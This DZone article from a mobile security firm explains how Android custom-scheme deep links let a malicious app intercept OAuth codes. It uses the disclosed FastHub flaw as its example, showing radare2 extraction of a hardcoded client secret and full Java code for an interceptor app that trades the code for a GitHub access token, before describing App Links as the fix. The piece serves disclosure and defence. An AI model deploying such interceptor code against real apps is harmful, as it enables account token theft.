How to Guard Against Mobile App Deep Link Abuse
Learn more about guarding against mobile app deep link abuse.
Join the DZone community and get the full member experience.
Join For FreeMobile app developers often use deep links to improve the user experience and engagement by helping users navigate from the web to their app. However, our security testing has found an easily exploitable vulnerability when deep links are used incorrectly for authorization purposes. This blog will explain how this vulnerability can be exploited and how to safeguard your app by using the more secure version of deep links, App Links.
Deep Links Overview
Deep links are URLs that take users directly to specific content in an app. They can be set up by adding a data specification (URI) inside an Intent Filter. Whenever a user clicks a URL (either in a webview, in an app, or in a web browser in general) that matches the URI specified inside the intent filter, she will be taken to the activity that handles it. Below is an example that shows how to add a deep link that points to your activity in the AndroidManifest.xml file:
<activity android:name="com.nowsecure.example">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:host="login" android:scheme="nowsecure"/>
</intent-filter>
</activity>
The application that handles this deep link is either going to be (1) the one that is being set by the user to handle such URIs, (2) the only installed app that can handle it, or (3) a list of apps that handle those URIs in case a preferred one was not set by the user in the first place.
However, this design has a flaw. Sometimes, those deep links contain some sensitive data. If a user is not careful, they might allow a malicious app to handle the deep link instead of the legitimate app. Luckily, there is a solution for this, App Links, which we will describe later.
OAuth2 Overview
OAuth2 is an authorization framework that enables applications to obtain limited access to user accounts such as GitHub, GitLab, Facebook, etc. It provides a delegated access mechanism to the service that hosts the user account that authorizes third-party applications, APIs or servers, in general, to access the user account without having to expose any user credentials. To access the protected resources, the protocol uses an Access Token, which is a string that represents granted permissions. The following figure shows the flow of how an application obtains this Access Token:
First, the user requests to access the service from the app (client). By doing so, the app will handle on behalf of the user (user-agent). The app will direct the Resource Server to the Authorization Server by including to its request the client id, requested scope, local state, and a redirection URI to which the Authorization Server will send the user-agent back once access is either granted or denied. The Authorization Server authenticates the user owner via the user-agent, and if the operation is successful, the Authorization Server will redirect the user-agent back to the app via the redirection URI containing the Authorization Code. The app will send then this Authorization Code among with some predefined secrets (code verifier as described by PKCE) to the Authorization Server in order to get the Access Token. Having obtained the Access Token, the app can request resources from the Resource Server by typically using a REST API with the access token inside the HTTP(S) Authorization Header.
Translating the above now to Android terms, in order for the app to be able to receive the Authorization Code from the Authorization Server, it will have to be able to handle the redirection URI that was specified in the initial request. As we described above, this URI will contain the Authorization Code. As you might have already guessed, to do that on Android, you have to use either the insecure version of deep links or the more secure one App Links. By using the former, a malicious installed app might be able to obtain the Authorization Code, and if it has access to the secrets, it might be able to obtain the Access Token as well.
Real Vulnerable Mobile App
Putting it all together, we will show how this flaw of deep links can lead to a malicious installed mobile app to obtain access tokens. The mobile app is called FastHub for GitHub and its SHA-256 is: c732c21ebacd3e8f0413edd770c11b280bc6989fe76ba825534fd3cdc995d657
. NowSecure disclosed this vulnerability to the developer and he acknowledged the issue.
To use the mobile app, you have to allow the app to access your GitHub account. One of the options is to authorize the app to do so by using OAuth. The following familiar screen will appear by doing so:
What we see here is that if we authorize the app to access our GitHub account, the redirection URI will be fasthub://login
. To verify that this is a deep link, we can use apktool to obtain the AndroidManifest.xml in case we had only the APK file. There, we find the activity com.fastaccess.LoginActivity
with the following deep link that matches the one that we saw above.
<activity
android:configChanges="keyboard|orientation|screenSize"
android:label="@string/app_name" android:launchMode="singleTask"
android:name="com.fastaccess.LoginActivity"
android:screenOrientation="portrait"
android:theme="@style/LoginTheme">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:host="login" android:scheme="fasthub"/>
</intent-filter>
</activity>
Now, it is time to see how GitHub authorizes OAuth apps. First, the app has to make a GET request to https://github.com/login/oauth/authorize
including the client_id
, redirect_uri
, and login
among the parameters. If the user now accepts that request, GitHub redirects back to the app with a temporary code, the authorization code. After the app receives that, it makes a POST request to https://github.com/login/oauth/access_token
with client_id
, redirect_uri
, client_secret
and redirect_uri
among the parameters in order to obtain the access_token
. Having the access_token
, the app can access the GitHub API on behalf of the user.
So, if we could obtain the client_id
and client_secret
, we might be able to create a malicious app that grabs the access_token
before the legitimate app gets it. Let’s use radare2 to see if the app contains the client_id
and client_secret
hardcoded. We unzip the app and we open classes.dex
with r2
. We list the classes/methods and we see if any of those contain the keyword “secret”
.
[0x0070371c]> ic | grep -i secret
0x002a7f0c method 6 p Lcom/ fastaccess/data/dao/AuthModel.method.getClientSecret()Ljava/lang/String;
0x002a8094 method 14 p Lcom/ fastaccess/data/dao/AuthModel.method.setClientSecret(Ljava/lang/String;)V
0x002fd8c4 method 2 sp Lcom/ fastaccess/helper/GithubConfigHelper.method.getSecret()Ljava/lang/String;
The last one seems pretty interesting. Let’s find out what methods the GithubConfigHelper
class has.
[0x0070371c]> ic | grep GithubConfigHelper
0x0016389c [0x002fd894 - 0x002fd8ca] 54 class 1955 Lcom/ fastaccess/helper/GithubConfigHelper super: Ljava/lang/Object;
0x002fd894 method 0 sp Lcom/ fastaccess/helper/GithubConfigHelper.method.getClientId()Ljava/lang/String;
0x002fd8ac method 1 sp Lcom/ fastaccess/helper/GithubConfigHelper.method.getRedirectUrl()Ljava/lang/String;
0x002fd8c4 method 2 sp Lcom/ fastaccess/helper/GithubConfigHelper.method.getSecret()Ljava/lang/String;
This class seems to have all the data that we need in order for our attack to work. To verify that the data is not obfuscated (the values at 0x002fd8c4 and 0x002fd894 are not obfuscated but they are modified by us):
[0x0070371c]> s 0x002fd8c4
[0x002fd8c4]> pd2
0x002fd8c4 1a00217f const-string v0, str.e0000e7ff1000ca1bd006e000000000e1f000000
0x002fd8c8 1100 return-object v0
[0x002fd8c4]> s 0x002fd894
[0x002fd894]> pd2
0x002fd894 1a00a807 const-string v0, str.12345678901234567890
0x002fd898 1100 return-object v0
Having found the client_id
and client_secret
, we can create the following activity in our malicious app. Upon authorizing the legit app to access our GitHub profile, our app is going to display the access_token
, with the assumption of course that our app is the default one (or is being selected by the user) to handle the fasthub://login
deep link.
public class Main2Activity extends AppCompatActivity {
private static final String TAG = "NowSecure";
String url = "https://github.com/login/oauth/access_token?client_id=12345678901234567890&client_secret=e0000e7ff1000ca1bd006e000000000e1f000000&code=";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main2);
Toolbar toolbar = findViewById(R.id.toolbar);
setSupportActionBar(toolbar);
Intent intent = getIntent();
if (intent != null) {
Uri uri = intent.getData();
if (uri != null) {
String authorizationCode = uri.getQueryParameter("code");
if (authorizationCode != null) {
Log.d(TAG, "Got: " + authorizationCode);
getAccessToken(authorizationCode);
}
}
}
}
private void getAccessToken(String code) {
RequestQueue queue = Volley.newRequestQueue(this);
String finalUrl = url + code;
StringRequest stringRequest = new StringRequest(Request.Method.GET, finalUrl,
new Response.Listener() {
@Override
public void onResponse(String response) {
Uri uri = Uri.parse("https://github.com/login/oauth/access_token?" + response);
if (uri != null) {
Log.d(TAG, "Access Token: " + uri.getQueryParameter("access_token"));
}
}
}, new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
Log.d(TAG, "An error occurred");
}
});
queue.add(stringRequest);
}
}
Here is the corresponding entry in the AndroidManifest.xml file:
<activity
android:name=".Main2Activity"
android:label="@string/title_activity_main2"
android:theme="@style/AppTheme.NoActionBar">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:host="login" android:scheme="fasthub"/>
</intent-filter>
</activity>
How to Protect Your Mobile App
Having a secret value hardcoded inside a mobile app binary file is always not a good decision, especially when this value is not obfuscated at all. A good security practice is to have those secret values communicated to the app by a remote backend server over a secure transmission protocol.
Moreover, the usage of App Links will make sure that only your app is going to be able to handle any redirect URI or URL in general. App Links, in general, are the secure version of deep links. In order for Android to handle your deep links as App Links, you have to set the android:autoVerify="true"
in any of the web URL intent filters of your app. Moreover, you cannot have any custom scheme in your intent filter, but only http
or https
. Last but not least, you have to include a JSON file with the name assetlinks.json
in your web server that is described by the web URL intent filter. For example, if you have the following intent filter:
<activity android:name="com.nowsecure.example" android:autoVerify="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:host="www.nowsecure.com" android:scheme="https"/>
</intent-filter>
</activity>
Then, the JSON file should reside in https://www.nowsecure.com/.well-known/assetlinks.json
and be readable by anyone. The JSON file should look like this:
[{
"relation": ["delegate_permission/common.handle_all_urls"],
"target": {
"namespace": "android_app",
"package_name": "com.example.puppies.app",
"sha256_cert_fingerprints": ["14:6D:E9:83:C5:73:06:50:D8:EE:B9:95:2F:34:FC:64:16:A0:83:42:E6:1D:BE:A8:8A:04:96:B2:3F:CF:44:E5"]
}
}]
The package name should match your app’s package name and the sha256_cert_fingerprints
should match the ones of your app’s signing certificate.
Whenever a user clicks an app link, Android will contact your web server, grab the assetlinks.json
file and verify that the package name and the app’s signing certificate hash value matches the one of your app. As long as the web server is not compromised, only a single legitimate app will be able to handle this App Link. For more details, please read here.
To reduce risk in the mobile apps your team develops, we recommend incorporating automated mobile application security testing into the dev pipeline to find and fix security and privacy flaws faster.
Published at DZone with permission of Ioannis Gasparis. See the original article here.
Opinions expressed by DZone contributors are their own.
Comments